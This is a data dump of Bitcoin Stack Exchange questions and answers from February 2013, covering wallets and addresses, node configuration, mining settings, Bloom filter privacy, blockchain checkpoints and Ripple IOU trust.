  <row Id="7801" PostTypeId="2" ParentId="6053" CreationDate="2013-02-20T04:15:12.303" Score="3" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=33389.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this speculative thread at bitcointalk.org forums&lt;/a&gt;, a minimum of 27,000 BTC (worth $370,000 USD at that time), with a possible maximum of 75,000 BTC, estimated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screen cap of the first post in the thread, in case the forum later disappears:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lx5yZ.png&quot; alt=&quot;1st post in bitcointalk.org forum thread on 2011 MyBitcoin losses&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2960" LastEditorUserId="2960" LastEditDate="2013-02-20T04:36:33.377" LastActivityDate="2013-02-20T04:36:33.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7802" PostTypeId="2" ParentId="7800" CreationDate="2013-02-20T04:24:24.473" Score="5" Body="&lt;p&gt;Bitcoin disallows rpc requests from IP addresses other than &lt;code&gt;127.0.0.1&lt;/code&gt; Try adding &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rpcallowip=&amp;lt;your ip addres&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to your bitcoin configuration file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Command-line_arguments&quot; rel=&quot;noreferrer&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-20T04:24:24.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7803" PostTypeId="2" ParentId="7788" CreationDate="2013-02-20T05:06:23.147" Score="5" Body="&lt;p&gt;There are several things you could mean by the time of the transaction:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When the transaction is created&lt;/li&gt;&#xA;&lt;li&gt;When the transaction is known about by 90% of the network&lt;/li&gt;&#xA;&lt;li&gt;When the transaction is first included into a block&lt;/li&gt;&#xA;&lt;li&gt;When the block is known to 90% of the network&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;We can't know 1, because it could have been generated offline, and there's no time field. You can assume that 1 is 30 seconds or so before 2, but again, you can't know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can figure out 2, because the time that we receive the transaction is going to be pretty much the same as when 90% of the network does. For historical data, &lt;a href=&quot;http://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockchain.info has an API.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can figure out 3, because there's a time field in the block. However, that can be off by up to an hour, and the network won't care. Still, there's not much reason to lie about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figuring out 4 is pretty much the same as 2.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2017-01-19T20:41:48.690" LastActivityDate="2017-01-19T20:41:48.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7804" PostTypeId="2" ParentId="7797" CreationDate="2013-02-20T05:27:12.880" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://blackandyellowpages.com/&quot; rel=&quot;nofollow&quot;&gt;Black and Yellow Pages&lt;/a&gt; and &lt;a href=&quot;http://www.agoristmarketplace.com/&quot; rel=&quot;nofollow&quot;&gt;Agorist Marketplace&lt;/a&gt; both have people who sell services in bitcoin, though there are some people on those sites who prefer to deal in gold or silver.&lt;/p&gt;&#xA;" OwnerUserId="3010" LastEditorUserId="2306" LastEditDate="2013-02-20T06:39:40.493" LastActivityDate="2013-02-20T06:39:40.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7806" PostTypeId="2" ParentId="7787" CreationDate="2013-02-20T10:51:57.440" Score="2" Body="&lt;p&gt;The problem was not a technical problem. More like stupidity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address I received the bitcoins to is not one of the addresses in the address book. The address book is like your contacts on your phone. Your actual addresses are under the receive coins tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I saved someone else's address to my address book for whatever reason. Then I was trying to extract the private key of that address from my wallet which of course I could not.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-02-20T10:51:57.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7807" PostTypeId="1" CreationDate="2013-02-20T16:53:16.590" Score="9" ViewCount="1867" Body="&lt;p&gt;I dont understand how a wallet comes into play?&#xA;Is a wallet a necessary part of a transaction or is it just a way of collating multiple addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get how I should use a new address for each transaction but don't understand whether they have to be attached to a wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking to generate thousands of addresses to accept payments for purchases in my online shop. Once an address has money in it, do I need to collate all the money together in a central account?&lt;/p&gt;&#xA;" OwnerUserId="3014" LastActivityDate="2013-02-20T17:49:12.420" Title="Wallets vs Addresses" Tags="|wallet|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7808" PostTypeId="1" CreationDate="2013-02-20T17:39:27.000" Score="3" ViewCount="408" Body="&lt;p&gt;I've got a Mac Pro with two different GPUs in it—one is a new 5850 and the other is some old (stock) Radeon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if it is possible to mine with both cards simultaneously if the OS is configured to be headless (i.e., neither card is used to display a GUI)?&lt;/p&gt;&#xA;" OwnerUserId="3015" LastEditorUserId="5406" LastEditDate="2016-04-17T20:12:10.453" LastActivityDate="2016-04-17T20:12:10.453" Title="Is it possible to mine with both (2) GPUs in headless mode?" Tags="|miner-configuration|gpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7809" PostTypeId="2" ParentId="7807" CreationDate="2013-02-20T17:49:12.420" Score="10" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is a wallet a necessary part of a transaction or is it just a way of collating multiple addresses?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Wallets are just a convenient way to store/back up multiple private keys (corresponding to multiple addresses).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once an address has money in it, do I need to collate all the money together in a central account?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really - you can spend money from multiple addresses in one transaction.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-20T17:49:12.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7810" PostTypeId="1" AcceptedAnswerId="7811" CreationDate="2013-02-20T19:17:21.127" Score="7" ViewCount="2335" Body="&lt;p&gt;Bitcoin has only 8 active connections, and I read somewhere that it helps to forward ports. I know how to forward a port, but which port should I forward, and how should I tell Bitcoin-qt to use the forwarded port?&lt;/p&gt;&#xA;" OwnerUserId="3016" LastActivityDate="2013-02-20T19:59:48.740" Title="Port forwarding plus Bitcoin" Tags="|client|bitcoin-core|linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7811" PostTypeId="2" ParentId="7810" CreationDate="2013-02-20T19:59:48.740" Score="8" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin has only 8 active connections&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correction: it has 8 &lt;em&gt;outbound&lt;/em&gt; connections. By default, it can also accept up to 117 inbound connections&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;which port&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Port 8333, TCP&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how should I tell Bitcoin-qt to use the forwarded port?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Don't need to. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-20T19:59:48.740" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7812" PostTypeId="2" ParentId="7808" CreationDate="2013-02-20T20:31:03.020" Score="3" Body="&lt;p&gt;I have tried the bitminter client for mining and it seems that both of my gpus are used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try downloading it from &lt;a href=&quot;http://bitminter.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2908" LastActivityDate="2013-02-20T20:31:03.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7813" PostTypeId="1" AcceptedAnswerId="7818" CreationDate="2013-02-20T21:58:13.183" Score="6" ViewCount="425" Body="&lt;p&gt;Let's say there are five people. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Alice &amp;lt;-&gt; Bob &amp;lt;-&gt; Charlie &amp;lt;-&gt; David &amp;lt;-&gt; Eve&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Each of them trusts the person next to them. For instance, Charlie trusts Bob and David, but not Alice or Eve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice run a donut shop. One day, Eve comes in and asks to buy a donut. Eve creates an IOU, then uses the web of trust to resolve it. Eve leaves with the donut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eve then flees the country. Complicating the situation, David is broke, and was relying on Eve's IOU to pay Charlie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who gets hurt in this situation?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-02-20T23:46:37.953" LastActivityDate="2013-02-21T03:18:33.457" Title="In Ripple, when an IOU is defaulted upon, who gets hurt?" Tags="|ripple|theft|wot|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7814" PostTypeId="1" AcceptedAnswerId="7815" CreationDate="2013-02-21T00:27:58.457" Score="6" ViewCount="1738" Body="&lt;p&gt;I have read that when running a simple standalone instance of 'bitcoind', you should generally use 'gen=0', since it's highly unlikely you'll ever mine a block on your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't fully understand is how this relates to transaction procssing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use 'gen=0', does that mean I have no hope of getting transaction fees, either?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, with 'gen=0', is my client not really participating in processing transactions at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is block mining (to generate new bitcoins) a somehow separate process from processing transactions?&lt;/p&gt;&#xA;" OwnerUserId="3018" LastEditorUserId="2306" LastEditDate="2016-03-09T23:09:40.847" LastActivityDate="2016-03-09T23:09:40.847" Title="The bitcoind 'gen=0' setting - implications?" Tags="|transactions|miner-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7815" PostTypeId="2" ParentId="7814" CreationDate="2013-02-21T00:56:28.397" Score="5" Body="&lt;p&gt;&quot;gen&quot; is by default 0 (off), so you should not really need to specify &quot;gen=0&quot; anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;gen&quot; will generate bitcoins (mining), but you should only do this if you know what you are doing (you probably want to mine in a pool, and use proper tuned hardware/software).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, you will only get transaction fees if you mine a block.&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-02-21T00:56:28.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7816" PostTypeId="1" AcceptedAnswerId="7817" CreationDate="2013-02-21T01:07:59.937" Score="11" ViewCount="722" Body="&lt;p&gt;The release notes for version 0.8 of the &quot;Satoshi&quot; client say&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Bloom filter&quot; support in the network protocol for sending only relevant transactions to lightweight clients.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this an optional feature or on by default? Does this mean that the client will no longer download the whole blockchain? What is a relevant transaction? Is it only transactions related to keys in my wallet? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does that mean that I can no longer keep the machine that downloads the blockchain separate from the machine that hosts my wallet (and that I keep offline, copying over the blockchain manually by USB). If so, is there an option to get the old behaviour?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="238" LastEditorUserId="238" LastEditDate="2013-02-21T09:08:29.193" LastActivityDate="2013-02-21T09:08:29.193" Title="Does the official Bitcoin version 0.8. client still download the whole blockchain?" Tags="|blockchain|bitcoin-core|bip37-bloom-filter|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7817" PostTypeId="2" ParentId="7816" CreationDate="2013-02-21T02:26:08.463" Score="14" Body="&lt;p&gt;0.8 doesn't actually use the bloom filter feature, but it enables support for letting other nodes use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0.8 does download the entire chain.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-02-21T02:26:08.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7818" PostTypeId="2" ParentId="7813" CreationDate="2013-02-21T02:34:56.053" Score="7" Body="&lt;p&gt;There are two very important concepts here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can only be hurt by someone you chose to trust.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A chain only exists instantaneously while a payment is made.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The answer to your question depends on whether David pays Charlie or not. If David pays Charlie, then David gets hurt because he trusted Eve and she betrayed him. If David doesn't pay Charlie, then Charlie gets hurt because he trusted David and David betrayed him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David learns a valuable lesson here. If you trust someone, you may wind up on the hook for the full amount you were willing to trust them for. Your choice will be to make good on them or betray the trust that people have extended to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice still holds an IOU from Bob and she agreed to trust Bob. Unless Bob betrays her, she's safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, this may not be exactly what happens. For example, if David can find someone else who will take Eve's IOUs that leads to a payment path to Charlie, he can meet his obligations and stick someone else who chose to trust Eve with her worthless IOUs. So you may get a game of &quot;hot potato&quot; with someone getting stuck with it last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important to understand that when you extend trust to someone in Ripple, you are trusting them to hold your money -- money you may owe to other people. It should not be done lightly, except perhaps in small amounts.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-02-21T03:18:33.457" LastActivityDate="2013-02-21T03:18:33.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7819" PostTypeId="1" CreationDate="2013-02-21T02:38:19.520" Score="0" ViewCount="81" Body="&lt;p&gt;One way to expedite small transactions would be to have all of the miner shun all further transactions by someone who has attempted a double spend, then if someone only wants to transfer less than 50% of their wealth then it can be assumed that it is a valid transaction because their expected return with a successful double spend is exactly what they would do with a valid transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand all that would be needed for this to be put into place would be to update the protocol, the blockchain can be preserved. Am I wrong? Is this a bad idea?&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2013-02-21T03:17:45.080" Title="Can a system of trust be built on top of the current block chain" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7820" PostTypeId="2" ParentId="7819" CreationDate="2013-02-21T02:45:09.947" Score="3" Body="&lt;p&gt;This won't work. Consider:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I send you 1 Bitcoin from an account that has 2 Bitcoins to an account of yours that has 99 Bitcoins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your account now has 100 Bitcoins. You rely on this new system and consider my transaction to you confirmed. You send the 1 Bitcoin I sent you and 9 other Bitcoins you had before to someone else.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I double spend the 1 Bitcoin I sent you. Your transaction of 10 Bitcoins is now a double spend as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, there are two choices and they both suck:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Only my account is frozen. But anyone who relied on &lt;em&gt;your&lt;/em&gt; transaction is screwed with no recourse. And only my 1 Bitcoin is frozen even though someone got screwed on a 10 Bitcoin transaction from an account holding 100 Bitcoins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your account is frozen. But you did nothing wrong but rely on my transaction, and now your 100 Bitcoins are frozen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You and I may or may not be in collusion, and there's no way to tell which just from looking at the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are operating on a set of false assumptions about how double spends actually occur.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-02-21T03:17:45.080" LastActivityDate="2013-02-21T03:17:45.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7821" PostTypeId="2" ParentId="7814" CreationDate="2013-02-21T02:56:11.573" Score="3" Body="&lt;p&gt;Though bitcoind won't mine blocks with gen=0, while connected to peers it will still relay transactions and send historic blocks to peers, which is an important function in the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Processing transactions&quot; is a fairly generic term and is not a particularly useful term to use because it's not specific about what sort of processing is meant. It's better to talk about &quot;relaying transactions&quot; (not fee earning) and &quot;mining&quot; (which generally includes transactions in a block, and earns both transaction fees plus the block reward).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using 'gen=1' can only CPU mine which, due to it's inefficiency, will:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;cost you a substantial amount extra on your power bill&lt;/li&gt;&#xA;&lt;li&gt;reduce the life of your CPU&lt;/li&gt;&#xA;&lt;li&gt;probably never manage to mine a single block within your lifetime&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I believe it's only the older versions of the standard client that are actually capable of CPU mining, because it's not really a sensible thing to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look into GPU, or preferably, ASIC mining if you want to mine.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-02-21T02:56:11.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7824" PostTypeId="1" CreationDate="2013-02-21T09:07:39.647" Score="14" ViewCount="347" Body="&lt;p&gt;There is now &quot;Bloom filter&quot; support in the network protocol for sending only relevant transactions to lightweight clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the privacy implications of the bloom filter? Does it leak any information about which keys I am interested in to the network?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="208" LastEditDate="2013-02-21T11:13:22.673" LastActivityDate="2018-04-15T12:18:00.130" Title="What are the privacy implications of filtered blockchain downloads?" Tags="|blockchain|bitcoin-core|privacy|bip37-bloom-filter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7825" PostTypeId="1" AcceptedAnswerId="7828" CreationDate="2013-02-21T09:55:07.597" Score="6" ViewCount="241" Body="&lt;p&gt;Market capitalization is a term that is usually used to refer to the total value of the shares of a company. Given that bitcoin is not a company, is there a better term than market cap that we should be using to describe the total value of all bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="2890" LastActivityDate="2013-02-21T10:56:57.497" Title="What is the correct term for bitcoin market cap?" Tags="|terminology|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7826" PostTypeId="1" AcceptedAnswerId="7830" CreationDate="2013-02-21T10:11:16.340" Score="8" ViewCount="711" Body="&lt;p&gt;Checkpoints seem like a crucial part of the security &amp;amp; validation apparatus in Bitcoin. Is there a written policy in place, among the developers defining the maximum interval between checkpoints?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens when the Bitcoin client becomes mature and releases are fewer and farther between. Has some other mechanism for checkpoint-like functionality been proposed?&lt;/p&gt;&#xA;" OwnerUserId="2960" LastEditorUserId="2306" LastEditDate="2015-05-04T01:57:41.513" LastActivityDate="2023-03-10T14:20:55.803" Title="What alternatives are there to hardcoding checkpoints into the Bitcoin client?" Tags="|blockchain|security|bitcoin-core|verification|checkpoints|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7827" PostTypeId="2" ParentId="7826" CreationDate="2013-02-21T10:43:58.040" Score="1" Body="&lt;p&gt;AFAIK they are not crucial at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are simply one more safety check, but without them the blockchain should work well enough anyway...&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-02-21T10:43:58.040" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7828" PostTypeId="2" ParentId="7825" CreationDate="2013-02-21T10:49:19.310" Score="6" Body="&lt;p&gt;The value of a commodity expressed by its exchange rate in dollars is sometimes referred to as &quot;Total Dollar Value&quot; (&lt;a href=&quot;http://www.numbersleuth.org/worlds-gold/&quot;&gt;example&lt;/a&gt;).  That's probably the most commonly used term for referring to the value of all assets at the current valuation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, money stock refers to the amount of bitcoins themselves.  So currently (Feb 2013) there is about 10.8 million BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another concept called &lt;a href=&quot;http://bitcointalk.org/?topic=8231.0&quot;&gt;purchasing power&lt;/a&gt; which might be used as well.  Because the value fluctuates, prefixing that definition and referring to it as &quot;current purchasing power&quot; might be an even better term.  Discussion on this was initiated in &lt;a href=&quot;http://bitcointalk.org/?topic=8231.0&quot;&gt;a forum thread&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-02-21T10:56:57.497" LastActivityDate="2013-02-21T10:56:57.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7829" PostTypeId="2" ParentId="7710" CreationDate="2013-02-21T10:56:51.807" Score="6" Body="&lt;p&gt;That wouldn't really be a bad thing if they were reliable and kept costs down. But I think it's inevitable that, if Ripple catches on, small gateways will always be around at least to serve more remote and underbanked areas and populations that transnationals can't be bothered to target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't think the barrier to entry will be that high. You might think that a small company couldn't compete with a larger company because trust is required. But actually, a gateway can operate without people trusting it. The gateway can basically resell another gateway's IOUs for cash. And for getting cash out, the gateway can accept other gateway's IOUs. I think there will always be &quot;gateways&quot; of this type selling and buying IOUs in person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over time, if the gateway continues to operate reliably, people will hold its IOUs. This is especially likely if the gateway offers some advantages such as a lower transfer fee or the ability to costlessly exchange their IOUs for IOUs from a number of other gateways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, transnationals may be able to eliminate this opportunity by providing their own costless inter-gateway exchanges and keeping their own transfer fees low. But if they serve everyone at low cost, nobody should much care that there isn't much competition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A model that I frequently use to think about the relationship between gateways is Internet service providers. They compete with each other, but if they don't also inter-operate with each other, none of their customers will be happy and they will move to other providers that inter-operate with their competitors better. Small Internet service providers don't exactly compete on a level playing field, let's be honest, but they still have little problem finding niche markets.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-21T10:56:51.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7830" PostTypeId="2" ParentId="7826" CreationDate="2013-02-21T11:02:10.767" Score="9" Body="&lt;p&gt;Checkpoints serve two purposes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;They hardcode a historic part of the chain&lt;/li&gt;&#xA;&lt;li&gt;They allow us to disable a check (expensive signature checking) in that historic part.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I personally dislike the first part, as it requires users to trust the software they're downloading contains the right checkpoints. Of course, they're already trusting the code anyway in much more substantial ways, but just requiring some piece of data to be updated frequently in a trusted way, to keep up with the block chain validation performance feels wrong to me. Of course, we can't have the second part without the first. Or can we?&lt;/p&gt;&#xA;&lt;p&gt;There is a &lt;s&gt;proposed&lt;/s&gt; idea, which &lt;s&gt;isn't&lt;/s&gt; is implemented, to modify the synchronization mechanism to consist of two steps:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In a first step, only headers are downloaded and verified, in much the same way as blocks are now downloaded and verified. This will result in the client knowing the best valid chain of blocks, except it won't know whether the transactions in it are valid.&lt;/li&gt;&#xA;&lt;li&gt;In a second step, the actual blocks along this chain are downloaded and verified.&#xA;Such a mechanism has several advantages, including being able to distribute the synchronization over several nodes, and not risking downloading side chains (sometimes called orphans).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In addition, it could have a rule &amp;quot;Do not validate signature checks if a block has N blocks on top of it&amp;quot;. Since the client already knows there is a valid chain before doing the full transaction validation, there is no need for checkpoints to prevent getting a wrong chain.&lt;/p&gt;&#xA;&lt;p&gt;Of course, this will have to be thought about a lot before implementing it, but I believe it will allow us to not rely on checkpoints anymore.&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&#xA;Benefits of checkpoints can be realized in better ways like &lt;code&gt;assumevalid&lt;/code&gt; .&lt;/p&gt;&#xA;&lt;p&gt;Recent versions(&amp;gt;= 0.14) of bitcoin core come with option &lt;code&gt;-assumevalid &amp;lt;safe-block&amp;gt;&lt;/code&gt; . This gives the benefit of skipping signature validation upto the safe-block without hardcoding the history. If another heavier chain is seen which does not contain the safe block, the bitcoin software will correctly reorg to the other chain.&#xA;More Info: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/59940/what-are-the-trust-assumptions-in-assumed-valid-in-bitcoin-core-0-14&quot;&gt;What are the trust assumptions in --assumed-valid in bitcoin core 0.14?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="101498" LastEditDate="2023-03-10T14:20:55.803" LastActivityDate="2023-03-10T14:20:55.803" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="7831" PostTypeId="1" CreationDate="2013-02-21T11:03:01.177" Score="5" ViewCount="1128" Body="&lt;p&gt;Why are bitcoins being sold at 1/3 market value at &lt;a href=&quot;http://bcchanger.com/bitcoin-sell-orders&quot; rel=&quot;nofollow&quot;&gt;bcchanger.com&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the lowball sellers trying to scam people or throw away money?&lt;/p&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="196" LastEditDate="2013-02-21T11:09:18.020" LastActivityDate="2013-06-15T17:02:25.747" Title="bcchanger.com: why are bitcoins being sold at 1/3 market value?" Tags="|exchanges|market|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7832" PostTypeId="2" ParentId="7824" CreationDate="2013-02-21T11:11:27.107" Score="11" Body="&lt;p&gt;It inevitably leaks information, but Bloom filters have a (controllable) false-positive rate. So a wallet client that is very concerned with privacy could make the false positive rate high enough so it becomes hard to distinguish which transactions the client was interested in.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-02-21T11:11:27.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7833" PostTypeId="1" CreationDate="2013-02-21T14:28:41.913" Score="3" ViewCount="163" Body="&lt;p&gt;I'm trying to understand the recent increase in BTC value in relation to mining.  I am trying to answer the question&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Are miners (with powerful ASIC hardware) saving the BTC, and not selling them, thereby reducing supply?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Has the demand increased beyond what has been mined?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T08:53:45.593" LastActivityDate="2016-03-16T08:53:45.593" Title="What percent of recently mined coins being actively traded vs saved?" Tags="|mining-reward|value|money-supply|circulation-velocity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
